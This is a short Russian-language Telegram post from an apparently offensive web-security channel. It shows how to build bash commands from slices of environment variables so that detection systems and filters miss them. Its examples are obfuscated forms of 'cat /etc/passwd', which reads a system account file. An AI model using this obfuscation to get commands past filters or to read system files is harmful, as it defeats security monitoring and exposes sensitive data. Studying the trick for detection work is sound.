tgoop.com/webpwn/80
Last Update:
И ещё о bash.
Из переменных (и не только) можно склеивать команды, тем самым можно обойти системы обнаружения и фильты (ну мало ли).
Например, переменная COMP_WORDBREAKS
— набор символов рассматриваемые как разделители слов.echo $COMP_WORDBREAKS
вернет "'><=;|&(:
Обращаясь к переменным, в таком представлении, можно вернуть один или несколько символов (первое после двоеточия число - начальное значение символа, вторая цифра - количество символов) echo ${COMP_WORDBREAKS:11:2}
вернет (:
Подобным образом можно собрать полноценную команду, склеивая кусочки переменныхcat${COMP_WORDBREAKS:0:1}${PATH:0:1}etc${HOME:0:1}passwd
что будет интерпретировано как cat /etc/passwd
Ну или даже так:${SHELLOPTS:3:1}at ${PATH:0:1}${SHELLOPTS:4:1}t${SHELLOPTS:3:1}${HOME:0:1}p${SHELLOPTS:2:1}sswd
BY Кавычка
Share with your friend now:
tgoop.com/webpwn/80